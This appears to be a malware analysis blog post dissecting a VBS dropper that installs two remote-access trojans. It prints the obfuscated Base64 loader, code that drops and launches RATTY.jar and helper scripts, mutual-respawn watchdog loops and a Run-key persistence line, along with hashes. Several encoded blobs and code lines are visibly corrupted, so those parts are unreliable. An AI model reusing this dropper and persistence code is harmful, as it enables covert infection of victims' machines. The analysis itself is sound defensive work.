


# Malware Analysis: New Trojan Double Dropper

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In this article, we will analyze a new trojan dropper — so new it has yet to be named. It is a newly observed VBS malware that uses multiple layers of code obfuscation and very well-structured code to drop and execute **two** embedded RATs.

For now, I'm calling it "Schneiken:" <https://github.com/vithakur/schneiken>

There are three main layers of encoding. All encoding is in Base64. This particular malware works by dropping two RATs on the disk. The first one is Dunihi RAT and the second one is Ratty JRAT.

Some malware only using **half the code** of this malware, have also been discovered in the wild. Here's an example, wrongly being detected as Valyria by some AVs (1213003eb7cb1e26a97dc310f47892fc). This malware is only dropping the Dunihi RAT, not the Ratty JRAT.

Let's begin analyzing this malware by looking at the flow of the campaign.

## Campaign Flow:

Phish > HREF > PDF > HREF > ZIP > VBS > Dunihi + JRAT > C2

## Code Structure:

Stage1 > stage2

Stage2 > vCNkCxcKEd.vbs > Dunihi RAT AND Stage3

Stage3 > Ratty (JRAT) + Watcher.vbs + Master.vbs

"\RATTY.jar" — JRAT

"rXvOIRHjpw.vbs" — Watcher

"UhVHQvjFGb.vbs" — Master

## Analysis

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Let's take a look at the execution, step by step.

### Stage 1

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At this stage, the code structure is quite simple. All of the stage 2 code is base64 encoded and simple replace statement fixes minor obfuscations that are there in the code to add another layer of obfuscation to the already encoded code.

```
1  Const TypeBinary = 1
2  Const ForReading = 1, ForWriting = 2, ForAppending = 8
3
4
5  Private Function decodeBase64(base64)
6      Dim DM, EL
7      Set DM = CreateObject("Microsoft.XMLDOM")
8      Set EL = DM.createElement("tmp")
9      EL.DataType = "bin.base64"
10     EL.Text = base64
11     decodeBase64 = EL.NodeTypedValue
12 End Function
13
14 Private Sub gajdfaiksfsfshfJKSFGjkfk()
15     ExecuteGlobal decode64(Replace("Rgl1IGxvbmduZXh0MQpsb25nVGV4dDE4PS*")
16 End Sub
17
18 Private Function decode64(txt)
19     Dim DMX, ELX
20     Set DMX = CreateObject("Microsoft.XMLDOM")
21     Set ELX = DMX.createElement("tmp")
22     ELX.DataType = "bin.base64"
23     ELX.Text = txt
24     decode64 = zzzzzzzzzz(ELX.NodeTypedValue)
25 End Function
26
27 Function zzzzzzzzzz(Binary)
28     Const adTypeText = 2
29     Const adTypeBinary = 1
30
31     Dim BinaryStream 'As New Stream
32     Set BinaryStream = CreateObject("ADODB.Stream")
33     BinaryStream.Type = adTypeBinary
34     BinaryStream.Open
35     BinaryStream.Write Binary
36     BinaryStream.Position = 0
37     BinaryStream.Type = adTypeText
38     BinaryStream.CharSet = "us-ascii"
39     zzzzzzzzzz = BinaryStream.ReadText
40     Set BinaryStream = Nothing
41 End Function
42 gajdfaiksfsfshfJKSFGjkfk()
43
```

Encoded code, that needs processing: Decoding and Replace

Take a look at the "zzzzzzzzzz" function. It uses the ADODB stream object to process the string as binary data. This means that the decoded code can be executed after it has been successfully decoded.

Let's take a look at this code block and layout the purpose of important lines:

```
Function zzzzzzzz(Binary)
    Const adTypeText = 2
    Const adTypeBinary = 1

    Dim BinaryStream 'As New Stream
    Set BinaryStream = CreateObject("ADODB.Stream") > Create Stream object
    BinaryStream.Type = adTypeBinary > Specify stream type - save binary data.
    BinaryStream.Open
    BinaryStream.Write Binary > Write binary data to the object
    BinaryStream.Position = 0
    BinaryStream.Type = adTypeText > here we Specify stream type - get binary data.
    BinaryStream.CharSet = "us-ascii"
    zzzzzzzz = BinaryStream.ReadText
    Set BinaryStream = Nothing > Get binary data from the object
End Function
qaJdfakfsfhafJK3FGjkfk()
```

This function is called on by the Private Function “decode64”, which in turn uses the Microsoft XMLDOM object to further process the data.

The last item to be called in the Private Sub, where all the decoding takes place.

As we can see in the block below, the encoded data stretches into almost a thousand lines.

```
YamxKUjA1NvdzEzKHNbYI1daaQJWwFakUBuyVqVneVrubGhXKU19WVzJmWJreRkKbkjPuJfaNipwaz9NkmsYIVhaWmJYQnSKVEb3YVVUUmNHg
XBVRUSRwJ)BwoEtsnXBaa05QWJ)BwoEtsnXBVR2xKUzJNeVWHeGFQXQ3B1WJ)FCVtEtsNHUUVVFXWGSkKtsnKdHk2YTUdkaamJWwJ)Z2MGMI2FdlNeVZ
YrVkvnt5V1hNWk1aaDJeZekpWUzBeRZtsnNSVTU1xWGIkakiawKdTVWMI2FzWzE9YV1p8bF2uVUZtVhZEGF1V3h6V2x0T0xKXpVhXbpVnspcF
tsnMSVTU1xWGIkS1NGWNI2aa2H1YUzWREtsnKZMGRRZVZeWE1IQkR1VTVvWkPkv1owERTbXhpYmaMFRGZFN1V0Z2V214amFVbExtVU1xWGIk
KXFXZEXSRVZ3UTJrcVhtZEPReXB1WJ)BeSFZQ0hbXRkozWT1wNWFcF1UbcSKUTJcM1dWaEtrR0pUYTJkRGJVW99ZekpWwJ)BeRFBucG13MvPzW
kVW9V7aa3pTbkQU0ZkdFpGZDRJkWP0Um5SYVv0GvJMGkIVW5aaFdgGhNURzVDYUdSSFOyZEthU3B1YVZcRFXKZetVUpJWw01T01Gbfh1SE5
yWkZjMkEdE1UemRgUj)J3d1hwZGF)R0pIV1hWaWVWJ)BxkE4zWJ)BecE5HbEkV6mR3UzFncVbqafFhU3B1YVZcRFXKZEX5Y3kphVU13WVvV2RVTnSLb
WRKUK1wZVowbERLbDVuU1VhVhtZEPReXB1WJ)BeRtsnW5TVU1xWGIkVJ6Vn1ZakpLY1V4dVpIwmpIWFJ3Ww0xa2EYr11TbXhaTTF0M1kyWkV
aRUSY1dGwGHeE11VFZvWkKvMhbEWERTFZKYVd0d1MkT1paMkz2DJaTFV5cGV1VhEU21OYV1WnRkVhXyJ3SGJhG1Hal2qU1dscLowT
pXbGhFT1dHel1VcG2RtNbrRmXwVdrHwJcF1VbTfPwT5oc1daaEpiMGkIVW5aaFdgGhNURzVDYUdSSFOyZEthU3B1YVZcRFXKZEX5Y3kphVU13WVvV2RVTnSLb
kphU3B1YV4FFtcGhTRN94UaBSTk1dFRLEbDV0U1V0S1owbHBLbDV0U1VxT2IyTnV2Mj1O2Wx0d1MkTfKfYbTFFUTBadF16T1NbR051VdKvVd
NWTBq3B1V0d4aWJmRm5VWGRaUzFwW5kDkSPV3hOUTIxZ2RwCERRbkJhWjNcMfdaaG9NRU50Vm5eamFUvNfzaRKYUdG0bmsHeG11VktuWkP0V
2QyUkR0HBA1T1Bd1kvaFh1V1JYZ1hOaWJWwJ)BxkE1xWGS0a1Nfb3hXhE22UzFwdE9YbEPmEprV12kT2IwbEhVbms0V0Zwc1NVTzHhKvWmIV25
RNV1WZEtNVIJIVm5wS1JEqm5U03B1Y)JkS1F5cGVaMGS2w1b1NVTXfYbWRKUK1wZVowbERLbDVuU1VhVc2JvbERRakZaTwaN1deTXfYbT1hY
dGcE5kSGFNM2hzNkVkv2JXRh1hR3hKUTJodF1WZDR1R0Kh1UW1oa1Iy2HGTU3B1Y)JkS1F5cGVaMGS2w1b1NVTXfYbWRKUK1wZVowbERLbDVuU1VhVc2JvbERRakZaTwaN1deTXfYbT1hY
21oaVvYQJ)WZak5FTUvRUIhZGhTRk13WTBjNWFXRnR0WgkhV0U1M11qSTF1bHBZVW14bFhGkKxG0GkYTBesFdgRml1VTR3WVZjNWRVtm5jRzF
TWpaM1daaEtrR1JYkhwYU0wHDFZek5TYkdFVFNyQkRnU3B1WJ)BeRFFtcMw1NMGauV2kR2FtrkR9b1pQTW14MvdtHD9aMk2YTkkaU0wH0xTVU
NkZM135FJuT1Se1ZvWkKvMhbEWERTFZKYVd0d1MkT1paMkz2DJaTFV5cGV1VhEU21OYV1WnRkVhXyJ3SGJhG1Hal2qU1dscLowT
eXB1Y1V5SGJIVegNH0pVwWtkHGR9bFh3hKUTNnd1kyVd1RU5uY0d4aWJmRm5Zek5XYVv0bmlwdGFibFokV1R002NHSX1OR2RoU0d5d1dpoG
JaMk15U25Ga01qRndZekpXZVd5cGJhCgFVExBLT1V5FpHeGtSemxwVvcv2FtrUkRaMmxrTW14Mv1eZGtKR1JVVFRabE1teDBZMGXKZVdHeU9Y
6bDZaRzFXZVdNwIhN1hV3R0WVZkLw0bEhPWRBY1ZaFV16SnmkbOpwS2w0c1NVU1paM1J1YU04aNFV3jZXW0txW0peS1EwcdXbGRPTV0d0
N1Wm1hVUpzWT1152RcTnBRmXhV0U0cF1aZfZakMk0VmpSa0cNkKIM1JZVG1sak0wSjVXbGRHYTJGWE5XN0p3REJkR0pKb2Jh5kh15FpaY1c5
FNVTKpaMHBWUW10W1dG5NRRMxawG1kS1F5cGVaMGS2w1b1NVTXfYbWRKUK1wZVowbERLbDVuU1VhVc2JvbERRakZaTwaN1deTXfYbT1hY
WclpZfZaM0g1T1V0S1EwbG5TbXkYD1GSV0X0U51bE3U1V0W1oyR1hOWHBRUJ)Bae11r2FhJRO5S2w1dFhVZHNkV016VW1oaV1zaDFXVhM4Y
pN01daYzFhME5uYohvYVdGRm5ZakpLY1ZwVruNfSent6Ww0xNORahFhV2RRVTRKcVkyMvdhR1JIVm5aWmJYQnSKVE55WJ)BORFNucFpRMSB3
XU0U1cipFTkKbGx0Y0hwa1NfCMTDvmM4YTJJe1pVml5emxvV2tNcVhqbEpSelYyWkVkb2MHSR2MGRhVnpWclMNVZHN1VU50Ykcx51J6bHBSZV
xEV1daTWVvG5TbXkYD1GSV0X0U51bE3U1V0W1oyR1hOWHBRUJ)Bae11r2FhJRO5S2w1dFhVZHNkV016VW1oaV1zaDFXVhM4Y
akpL1Yd5SvVgQepSM0yWkRjN0yXk1ShXNfYm5w16TnKbUp1V014WmJUNhJaV22U2cVETeNTFZekpHxwWVvWmF1V3h6V2x0Q2VtUk
VhEp0WV1kSGJH111TbkSEJ)J0blDGNVdVb0Vms5s1JEqm5URzVLkYzWfVVDERVXB1ZFREhV1WmpNbF2Mv2xjH9EwbE1aSEJrUj)kTf16S
QmSbTfTfWj)J0WfDd011V1kxWkV2WbH0G11VktuWkP0V2Rm5aa3pVbkjPwSfFJy9WfFV0p0VpCaF26bDFTVWXXI5a5HE1X0VpM0KXUaBkV2
vMctWel2xWkV0c2RcSm5MHREYIzVeF1cM9NR02Y11hNS1xWJ)FaRm5ZDJoDE9KcGFXRU2U1V0bmsHfTm5j5FppYVvW01kyWUtkbU5wUW5eY
a1NFcDxkVvEpxZw10Nt0aXKZEMGRzYTB00mN1hVUpzWT1152RcTnBRmXhV0U0cF1aZfZaMk0VmpSa0cNkKIM1JZVG1sak0wSjVXbGRHYTJGWE5XN0p3REJkR0pKb2Jh5kh15FpaY1c5
```

Now let’s take a look at the flow of the code in this stage:

```

Private Sub gajdfaiksfsfshfJKSFGjkfk()
    ExecuteGlobal decode64(Replace("RGlIGxvbmduZxh0MQpsb25nVGV
End Sub

Private Function decode64(txt)
    Dim DMX, ELX
    Set DMX = CreateObject("Microsoft.XMLDOM")
    Set ELX = DMX.createElement("tmp")
    ELX.DataType = "bin.base64"
    ELX.Text = txt
    decode64 = zzzzzzzzz(ELX.NodeTypedValue)
End Function

Function zzzzzzzzz(Binary)
    Const adTypeText = 2
    Const adTypeBinary = 1

    Dim BinaryStream 'As New Stream
    Set BinaryStream = CreateObject("ADODB.Stream")
    BinaryStream.Type = adTypeBinary
    BinaryStream.Open
    BinaryStream.Write Binary
    BinaryStream.Position = 0
    BinaryStream.Type = adTypeText
    BinaryStream.CharSet = "us-ascii"
    zzzzzzzzz = BinaryStream.ReadText
    Set BinaryStream = Nothing
End Function
gajdfaiksfsfshfJKSFGjkfk()

```

And finally, let's take a look at the encoded string itself:

```

Private Function decodeBase64(base64)
    Dim DM, EL
    Set DM = CreateObject("Microsoft.XMLDOM")
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.base64"
    EL.Text = base64
    decodeBase64 = EL.NodeTypedValue
End Function

Private Sub gajdfaiksfsfshfJKSFGjkfk()
    ExecuteGlobal decode64(Replace(
"RGlIGxvbmduZxh0MQpsb25nVGV4dEgPS**1UTI5dWMzUWdNSGx3WlVKcGJtRnllU0E5SURFS1EyOj
VSEpwZG1GMFPtQkdKvZqZEdsdmJpQmtaV052WkdWQl1YImxOalFvWW1GelpUWTBLUW9nSUvScGJTQk'
Q0QGVENBOU1Fuk5MbU55WldGMFPvVnNaVzFsYm5Rb0luUnRjQ01wQ21BZ1JVd3VSR0YwWVZSNWNHVWd;
TlrW1ZSNWNHVmtWbUzZzZFdVS1JXNwtJRvOxYm1OMGFXXVDZ3BRY21aM11YUmxJRk4xWW1Cb11XcGtal
VvSwtwNmVHSkpTRXbV1RJNWExcF1TV2RQYVVKd1lqT1dhMk2Y1ThCS1EyaHFTMU5DZw1FemJI2GFVeI
NVkRCMfVGTxgFPVXhVtUhsUVV6qTVUR1F3ZE2CVE1EbE1WREIwVUZNd09Vtm5jRzlpIT**0d1NVUXdaM
FTUdkSmFWm9ZMGhDYTFaWVvtaEtVMGxMwWtjMWNscHR1SE5hVXlw2U9VbElVbmxrVjFWTFlrYzFjBHI
VEZrd2RGQ1RNRGxNVkRCMfVGTxgFPVXhVtUhsUVV6qTVUR1F3UzBodFVuQmlVMEo2WVVKv2MySkhPV2x;
khwWkOwcHdZMGhSZFdNeWFHeG1SM2RwUzFGd2EyRlhNR2RhYld4e1d5aE9OV016VW14aVZ6bHBZV2R3;
VZjMwJreHRXbkJpUjFaNlPwaE9NRnRBYTvaWmJYQnNKVE5SYVVOUmNHdGhWekJuWVVoU01HTkhPV2xof
RCa1NdcGVhVXRYSYjBORGfXTTVUR1F3ZE2CVE1EbE1WREJuWTBoS2NHUnRSakJKU02wb1kya3FYamxNVI
GWVfQk1iazVxWtIXc2QyUkhOV2hpVjFWTF16TlNhR051VWpGalF5cGVPVWxJVG05YVYzaHpZakpLY1'
c11WaEpaMUJUUW5waF1xWnpZa2M1YVdGcE5XeGxTRUpvWW0xU2JHSnVXbkJqY1RsmV1sZFdkV1JVGp;
E1YwlpivzKxv20wNWmxcEhWbmxhV0dod116T1N1a3RIYkhWak0xSm9za2Q0YTJGwVNYQkpTRkp2V2xj!
NFNHdZMjFzZfZve1RXOUphV113V2xjeGQwcFRTWEJKUTFablNXeDNhVU51VG5kaVIyd3dXbGhKWjFCVI
WWjZZMGm1ZFdNeVZVdGFSMngwU1Vkt2RgB3FYbkJyWVZjd1oyTkhSbmxVnpCTF1WYzF1V0o1S2w0NVI
TknkbUp0Vm5aaWJVNxNRmR2YmxCve1EbE1WREIwVUZNd09VbEhUblphUjFWb116T1Nhr051VvdKUVV;
klVvXREWjNcd11tNU9NRmxYt1dwYVVYQXpZVWRzYzFwVfFqQmpibFpzUTJkd2NH5nVUakJaVjNoelEy;
NOVWxwZDJSmFXdExXVE14YTBerU1HZGpNMEp6WVZ0UlowdElTbXhQTTBGM11tNU91RXhJVG5kaVIyd;
BRMmtxwG1kS1F5cGvAMGxJUW1oamJVWjBTvVf3WjFreU1XdEprRmQ0UzFGdlowbERLbDvuU1VOQ2JHVl
RbXBPVjFGblMwUkZjRU5wS2w1blNVtXfYbWRKUnpaMvdsYzVkvmt5VlhWwkluaDJZekpWUZBsrEtsNW;
RWRhY0dKSFZXZExSMngxWpOU2FHSkh1R3R0V0Veb1NtbENjR0p1VGpCW1YzaHpZbTFHZE2wVEtsNXpl
GxES2w1bl1qSTf1R015T1dwYV6VnFza2M1ZwXwUmIyZepReXB1WjBsRFfucGhSMVp6WwtjNWFxRnBO;
hpUjNoel1WaEpaMHBwU5CaWzRNhDXvMQYzJKdFJUmfVexB1Y1VaSFRtCwPhV2Q2VGT0c1MwbERLb;
xwG1ks1NGWjFZVmxZw1SSFJUtmLbDV3YwXsvWRteEprMH**2V2xjNWewbG51MmRKUX1wZVowbERRb;
RKWjISblNVtXfYbWRKUTBn11WaFN1RnBIT1RoAwJYaDJXvMRTYkdOcFFtcG1WmUzuUzB5RmNFeEhUb;

```

This encoded string below should give us the Stage2 code: Encoded script for Duhini RAT & Encoded script for the Ratty JRAT

Once decoded, the malware moves into the next stage.

## Stage 2





- “\RATTY.jar” —
- “\rXvOIRHjpw.vbs” —
- “\UhVHQvjFGb.vbs” —

The first file to be executed is the Watcher. Watcher then runs the other two:

Name	Date modified	Type	Size
Adobe	4/4/2018 2:07 PM	File folder	
Microsoft	4/10/2018 2:33 PM	File folder	
Notepad++	4/10/2018 2:12 PM	File folder	
	4/10/2018 7:13 AM	File folder	
	4/10/2018 4:34 PM	File folder	
RATTY.jar	4/10/2018 7:53 PM	JAR File	
rXvOIRHjpw	4/10/2018 7:53 PM	VBScript Script File	
UhVHQvjFGb	4/10/2018 7:53 PM	VBScript Script File	
vCnkCxcEd	4/10/2018 4:34 PM	VBScript Script File	

```

Set theShell = CreateObject("WScript.Shell")
Dim appdatadir, thefile, watcher, master, filename, watcherns
appdatadir = theShell.ExpandEnvironmentStrings("%appdata%")
thefile = "UEsDBAocAAAgAAGS5pEgAAAAAAAAAAAAAAAAADAAAAGUvUEsDBF
watcher = "Q29uc3QgVHlwZUJpbmFyeSA9IDEKQ29uc3QgRm9yUmVhZGluZy
master = "Q29uc3QgVHlwZUJpbmFyeSA9IDEKQ29uc3QgRm9yUmVhZGluZyZ
filename = appdatadir & "\RATTY.jar"
watchername = appdatadir & "\rXvOIRHjpw.vbs"
mastername = appdatadir & "\UhVHQvjFGb.vbs"
writeBytes filename, decodeBase64(thefile)
writeBytes watchername, decodeBase64(watcher)
writeBytes mastername, decodeBase64(master)
theShell.Run(""" & watchername & """)
Private Sub writeBytes(file, bytes)
Dim binaryStream
Set binaryStream = CreateObject("ADODB.Stream")
binaryStream.Type = TypeBinary
binaryStream.Open
binaryStream.Write bytes
binaryStream.SaveToFile file, ForWriting
End Sub

Private Function decodeBase64(base64)
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")

```

Watcher makes sure the RAT and the master file are running. If they are not found to be running, it executes them. Let’s have a look at the code block:

```

Set objShell = CreateObject("WScript.Shell")
Set wmiObj = GetObject("winmgmts:\\.\root\cimv2")
dim file1, file2, PID1, PID2, appdatadir
appdatadir = objShell.ExpandEnvironmentStrings("%appdata%")
file1 = "RATTY.jar" ← RAT
file2 = "UhVHQvjFGb.vbs"
On Error Resume Next
dim running
running = IsFileRunning(file1)
if running = false then ← Master
PID1 = RunFile(file1)
else
PID1 = running Checks if these are running
end if
Set running = Nothing
running = IsFileRunning(file2)
if running = false then
PID2 = RunFile(file2)
else
PID2 = running If not running, then run these files
end if
Set running = Nothing
while true
if IsProcessRunning(PID1) = false then
PID1 = RunFile(file1)
end if
if IsProcessRunning(PID2) = false then
PID2 = RunFile(file2)
end if
Wscript.Sleep(100)
wend
function IsProcessRunning(pid)
Set result = wmiObj.ExecQuery("Select * From Win32_Process Where ProcessId=" & pid)
if result.Count > 0 then

```

The master makes sure the watcher is running. If it is not running, it executes it.

```

Set objShell = CreateObject("WScript.Shell")
Set wmiObj = GetObject("winmgmts:\\.\root\cimv2")
dim file1, PID1, appdatadir
appdatadir = objShell.ExpandEnvironmentStrings("%appdata%")
file1 = "xvOIRHjpw.vbs" ← Watcher
On Error Resume Next
dim running
running = IsFileRunning(file1)
if running = false then
PID1 = RunFile(file1)
else
PID1 = running
end if
Set running = Nothing
while true
if IsProcessRunning(PID1) = false then

```

It also adds the required entries to the registry

```

objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\stbDSJPinF", "wscript "" & appdatadir & "\ " & file1 & """, "REG_SZ"
Wscript.Sleep(100)
wend
function IsProcessRunning(pid)
Set result = wmiObj.ExecQuery("Select * From Win32_Process Where ProcessId=" & pid)
if result.Count > 0 then
IsProcessRunning = true

```

Name	Type	Data
(Default)	REG_SZ	(value not set)
stbDSJPinF	REG_SZ	wscript "C:\Users\ragnar\AppData\Roaming\XvOIRHjpw.vbs"
vCNkCxcKEd	REG_SZ	wscript.exe //B "C:\Users\ragnar\AppData\Roaming\vCNkCxcKEd.vbs"

At this point in the execution flow, all the files have been successfully deployed and executed. The RAT will now establish connection back to the C2 and start executing the commands it has been programmed to run.

## Conclusion



This malware is new at the time of this writing. The infection vector is phishing emails but it comes fully packed and loaded to drop a complete JRAT on the victim's computer and have it up and running within seconds of execution.

At this time the embedded RATs are Ratty JRAT and Dunihi RAT, but for the purpose of this post, we will not be analyzing those. I will include the details at the end of the post though.

All the de-obfuscated and decoded files can be found at one of my git repos:

<https://github.com/vithakur/schneiken>.

### **Schneiken Dropper:**

FileName: TT COPY.vbs

MD5: 47f21544a7479cae3e20488731ba6aa6

### **JRAT:**

FileName: RATTY.jar

MD5: 9b93c76d2dacf7adaacfc1e99dae8089